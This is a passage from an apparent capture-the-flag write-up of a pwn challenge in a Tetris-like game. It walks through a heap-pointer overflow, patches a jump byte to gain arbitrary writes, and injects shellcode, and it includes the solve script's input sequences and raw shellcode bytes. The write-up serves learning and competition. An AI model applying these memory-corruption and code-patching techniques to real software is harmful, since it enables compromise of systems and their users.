Well how about that, we have a direct way to write into heap_top. Recall that malloc function constantly returns a pointer to heap_top incremented by how many times malloc has been called. We then use that returned pointer to write a string to it of length at max 3.

char* name = malloc(4);

[...]

while ((c = getchar()) != '\n') {

  [...]

  if (c >= 'A' && c <= 'Z' && nameidx < 3) {
                name[nameidx++] = c;
                redraw_name(name);
            }
}

At face value, this is a write-what-where primitive.

Understanding our Primitives

So we have an overflow that allows us to make heap_top a value we control, then we can write to it… but we have many constraints that make this hard to do. Line 126 is a culprit for two of our three restrictions on this primitive:

if (c >= 'A' && c <= 'Z' && nameidx < 3)

Restrictions:

1. We can only write at max 3 bytes at a time
2. We can only write uppercase ascii values
3. Limited initial pointer overwrites

On the third point, we can only initially write a value to the pointer that is compromised of the block values:

#define TTR_I 1
#define TTR_J 2
#define TTR_L 3
#define TTR_O 4
#define TTR_S 5
#define TTR_Z 6
#define TTR_T 7

Since to overwrite heap_top it had to overflow at the bottom of the board, we noticed that only J, O and I worked really well reliably. This highly constrains what we can actually write, especially the limiting of us to uppercase values.

At this point, we stop and need to think about a cheeky way to do this in a clean and fast move. We need to use our partial write primitive to disable these checks by overwriting the code that checks it. What is the best way to do this?

Upgrading our Write Primitive

Real Arbitrary Pointer

The first thing we should deal with is finding a way to write more specific values to heap_top (restriction 3), since this will be fundamental to overwriting things that this pointer points to. Aside from placing an initial value that can be somewhat consistent, we have one other way to make the pointer more specific, located in malloc:

    void* p = heap_top;
    heap_top += n;
    return p;

where the caller is always malloc(4). This only gets called when we get access check_high_score() after we get a new high score. This means we can increment our initial write to heap_top by continuously getting new high scores that increments our pointer to wherever we want to go. The only reason this works is because we have the ability to “read nothing” when making a new high score username:

while ((c = getchar()) != '\n') { ... }

This is works because the code won’t do anything if we enter only a newline. The only interesting thing about this is that we need to implement an algorithm that gets a new high score every game. This is easy if we alaways place I shaped tetrominos to incremeant our score each game. Great, now we can actually move our pointer “anywhere” (that is 4 byte aligned).

Real Arbitrary Write Values

Now let’s deal with restriction one and two. If we are going to really write anything we need to get passed that check shown earlier. We have two options:

1. One by one overwrite the values being compared against our input

OR

1. Modify code to make us jump directly to the location our read variable gets stored.

Our solution to this problem came after squinting at the code for a hot minute and realizing that we have an amazing situation happening at the jump (if statement) corresponding to the source code line 117:

while ((c = getchar()) != '\n') {
        if (c == '\b' || c == '\x7f') {
[...]

the jump corresponds on what to do if this jump fails:

0x40021d:  jne     0x400247

Taking a closer look, the bytes that make up this instruction are:

75 28

Recall we are only able to write values between 0x41 and 0x5a. Currently, this jump takes us to an exit of the loop… but what if we could change where we go when we fail? Consider changing a the byte to this:

75 50

This is a very lucky and cunning way for us to allow any value at any size to be read into the pointer, since it changes the jump to this:

0x40021d:  jne    0x40026f

which corresponds to skipping all middle code in the earlier loop, making the code semantically equivalent to this:

while ((c = getchar()) != '\n') {
        if (c == '\b' || c == '\x7f') { // backspace characters
            if (nameidx) {
                name[--nameidx] = 0;
                redraw_name(name);
            }
        }
        else {
                name[nameidx++] = c;
                redraw_name(name);            
        }
    }

Doing this would give us a full write-what-where primitive.

Shellcoding to Victory

Now that we have the full primitive, it’s time to finish this challenge up with shellcode that calls log_hw with the hacking constant.

As a review here is the plan of the first part of our exploit:

1. Initialize the heap_top to 0x400202 using the overflow
2. Get 7 high scores back to back while writing no name
   1. This increments heap_top to 0x40021e
3. On the 7th, write the name \x50 to the heap_top (for the jump)

Now all we need to do is overwrite some other code with shellcode to call the hw_log(). Ah, why not just overwrite heck_high_score(), since we already have a tetromino setup to get there (0x400202). Once we are there, we just need to overwrite the location with some simple code:

mov edi, 0x41414141
call $+0xb6c
nop
nop

// hw_log(0x41414141)
// "\xBF\x41\x41\x41\x41\xE8\x67\x0B\x00\x00\x90\x90"

So to complete our plan, it looks like this:

1. Initialize the heap_top to 0x400202 using the overflow
2. Get 7 high scores back to back while writing no name
   1. This increments heap_top to 0x40021e
3. On the 7th, write the name \x50 to the heap_top (for the jump)
4. Reinitialize the heap_top to 0x400202 using the overflow
5. Write the Shellcode
6. Get a high score (to trigger the Shellcode)

Let’s put it all together and get that flag!

## Activate Cheat Mode
p.sendline("\nw w w w w w w w \n\nw w w w w w w \n\nw w w w w w w w \n\nw w w w w w w w \n\ncaaaaaadw w w w w w w w w \n\nw w w w w w w w\n\naaaaaadd dwd caaaad aaddda daadwd dddd aaddw aaa ddaacd aadcaaw d awa daaw aw  awa daa dad aaawd w w w \n\naaaaaadd dwd dddd aaa  aacddddd dddddaaa aaacw  aaa awa awa wdd daaawww dw waa awaaaa caaaaaawa ddddd  w w w\n")

## Initialize heap_top to 202
p.sendline("JaaaaawwwO" + "s"*18 + "Ja w w w w w w w \n\n\n\n")
p.sendline("\n\n")

## Increment to 212
for i in range(6):
    new_hs()
new_hs(skip=True)

## Overwrite the jump
p.sendline("\x50\n")

## Reinit heap_top to 202
p.sendline("JaaaaawwwO" + "s"*18 + "Ja w w w w w w w \n\n\n\n")
p.sendline("\n\n")

## Write Shellcode
new_hs(skip=True)
#p.sendline("\n")
p.sendline("\xBF\x41\x41\x41\x41\xE8\x67\x0B\x00\x00\x90\x90\n")

## Call Shellcode
new_hs(skip=True)

With a final solve looking something like this in the end:

Thanks Where Thanks is Due

Like I said before, my teammates are what make this solve so successful. I couldn’t have done it without: Paul, Nathan (UCSB), Nathan (ASU), and any other person the jumped into the voice channel to help. Paul came up with the brilliant idea to only overwrite one byte in the jump bytes. Playing with friends is what makes these games enjoyable :).

Conclusion

Like earlier, the challenge files and all the solve scripts can be found here. This CTF had a lot of guessy challenges, but it also had some very well crafted pwn challenges – like this one by itzsn. Overall, I think this CTF was good for the current times. It’s not easy to organize a CTF with death and fires on the horizon. Thank you NYUSEC. Oh yeah, and we got first overall :).